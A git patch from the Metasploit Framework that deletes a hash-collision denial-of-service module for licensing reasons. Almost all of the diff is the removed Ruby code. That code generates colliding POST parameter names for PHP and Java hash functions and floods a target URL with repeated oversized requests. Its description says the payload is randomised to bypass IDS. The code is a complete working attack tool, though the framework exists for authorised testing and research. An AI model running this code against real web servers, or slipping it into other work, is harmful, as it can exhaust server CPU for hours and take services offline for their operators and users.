From 4772c1258eddbc4f743dc3767aae65fecfea8d3d Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 21 May 2012 11:28:58 -0500 Subject: [PATCH] Removing hashcollision_dos module due to license violation The description text is a copy-paste of http://www.ocert.org/advisories/ocert-2011-003.html , which has a specific creative commons liscence prohibiting derivative works. Since I have no idea what else in this module is a license violating, I'm pulling it completely. I suspect a lot, though -- there are weird all-caps methods in the module that look like copy-pastes as well. Next time, please contribute original work, or at least work that is not encumbered by restrictive licensing. --- .../auxiliary/dos/http/hashcollision_dos.rb | 217 ------------------ 1 file changed, 217 deletions(-) delete mode 100644 modules/auxiliary/dos/http/hashcollision_dos.rb diff --git a/modules/auxiliary/dos/http/hashcollision_dos.rb b/modules/auxiliary/dos/http/hashcollision_dos.rb deleted file mode 100644 index ff8dace4c0..0000000000 --- a/modules/auxiliary/dos/http/hashcollision_dos.rb +++ /dev/null @@ -1,217 +0,0 @@ -## -# $Id$ -## - -## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Hashtable Collisions', - 'Description' => %q{ - A variety of programming languages suffer from a denial-of-service (DoS) condition - against storage functions of key/value pairs in hash data structures, the - condition can be leveraged by exploiting predictable collisions in the underlying - hashing algorithms. - - The issue finds particular exposure in web server applications and/or frameworks. - In particular, the lack of sufficient limits for the number of parameters in POST - requests in conjunction with the predictable collision properties in the hashing - functions of the underlying languages can render web applications vulnerable to the - DoS condition. The attacker, using specially crafted HTTP requests, can lead to a - 100% of CPU usage which can last up to several hours depending on the targeted - application and server performance, the amplification effect is considerable and - requires little bandwidth and time on the attacker side. - - Tested with PHP + httpd, Tomcat, Glassfish, Geronimo. Generates a random Payload - to bypass IDS. - }, - 'Author' => - [ - 'Christian Mehlmauer ' - ], - 'License' => MSF_LICENSE, - 'Version' => '$Revision$', - 'References' => - [ - ['URL', 'http://www.ocert.org/advisories/ocert-2011-003.html'], - ['URL', 'http://www.nruns.com/_downloads/advisory28122011.pdf'], - ['URL', 'http://events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'], - ['URL', 'http://events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'], - ['URL', 'http://www.youtube.com/watch?v=R2Cq3CLI6H8'], - ['CVE', '2011-5034'], - ['CVE', '2011-5035'], - ['CVE', '2011-4885'], - ['CVE', '2011-4858'] - ], - 'DisclosureDate'=> 'Dec 28 2011' - )) - - register_options( - [ - Opt::RPORT(80), - OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]), - OptString.new('URL', [ true, "The request URI", '/' ]), - OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ]) - ], self.class) - - register_advanced_options( - [ - OptInt.new('recursivemax', [false, "Maximum recursions when searching for collisionchars", 15]), - OptInt.new('maxpayloadsize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]), - OptInt.new('collisionchars', [false, "Number of colliding chars to find", 5]), - OptInt.new('collisioncharlength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]), - OptInt.new('payloadlength', [false, "Length of each parameter in the payload", 8]) - ], self.class) - end - - def generate_payload - # Taken from: - # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision - - @recursivecounter = 1 - collisionchars = compute_collision_chars - return nil if collisionchars == nil - - length = datastore['payloadlength'] - size = collisionchars.length - post = "" - maxvaluefloat = size ** length - maxvalueint = maxvaluefloat.floor - print_status("Generating POST data...") - for i in 0.upto(maxvalueint) - inputstring = i.to_s(size) - result = inputstring.rjust(length, "0") - collisionchars.each {|key, value| - result = result.gsub(key, value) - } - post << "#{Rex::Text.uri_encode(result)}=&" - end - return post - end - - def compute_collision_chars - print_status("Trying to find hashes...") if @recursivecounter == 1 - hashes = {} - counter = 0 - length = datastore['collisioncharlength'] - a = [] - for i in @charrange - a << i.chr - end - # Generate all possible strings - source = a.repeated_permutation(length).map(&:join) - # and pick a random one - basestr = source.sample - basehash = @function.call(basestr) - hashes[counter.to_s] = basestr - counter = counter + 1 - for item in source - if item == basestr - next - end - if @function.call(item) == basehash - # Hooray we found a matching hash - hashes[counter.to_s] = item - counter = counter + 1 - end - if counter >= datastore['collisionchars'] - break - end - end - if counter < datastore['collisionchars'] - # Try it again - if @recursivecounter > datastore['recursivemax'] - print_error("Not enough values found. Please start this module again") - return nil - end - print_status("#{@recursivecounter}: Not enough values found. Trying again...") - @recursivecounter = @recursivecounter + 1 - hashes = compute_collision_chars - else - print_status("Found values:") - hashes.each_value {|item| - print_status("\tValue: #{item}\tHash: #{@function.call(item)}") - item.each_char {|i| - print_status("\t\tValue: #{i}\tCharcode: #{i.ord}") - } - } - end - return hashes - end - - def DJBXA(inputstring, base, start) - counter = inputstring.length - 1 - result = start - inputstring.each_char {|item| - result = result + ((base ** counter) * item.ord) - counter = counter - 1 - } - return result.round - end - - # PHP's hash function - def DJBX33A(inputstring) - return DJBXA(inputstring, 33, 5381) - end - - # Java's hash function - def DJBX31A(inputstring) - return DJBXA(inputstring, 31, 0) - end - - def run - case datastore['TARGET'] - when /php/i - @function = method(:DJBX33A) - @charrange = Range.new(0, 255) - if (datastore['maxpayloadsize'] <= 0) - datastore['maxpayloadsize'] = 8 - end - when /java/i - @function = method(:DJBX31A) - @charrange = Range.new(0, 128) - if (datastore['maxpayloadsize'] <= 0) - datastore['maxpayloadsize'] = 2 - end - else - raise RuntimeError, "Target #{datastore['TARGET']} not supported" - end - - print_status("Generating payload...") - payload = generate_payload - return if payload == nil - # trim to maximum payload size (in MB) - maxinmb = datastore['maxpayloadsize']*1024*1024 - payload = payload[0,maxinmb] - # remove last invalid(cut off) parameter - position = payload.rindex("=&") - payload = payload[0,position+1] - print_status("Payload generated") - - for x in 1..datastore['RLIMIT'] - print_status("Sending request ##{x}...") - opts = { - 'method' => 'POST', - 'uri' => datastore['URL'], - 'data' => payload - } - c = connect - r = c.request_cgi(opts) - c.send_request(r) - disconnect(c) - # Don't wait for a response, can take hours - end - end -end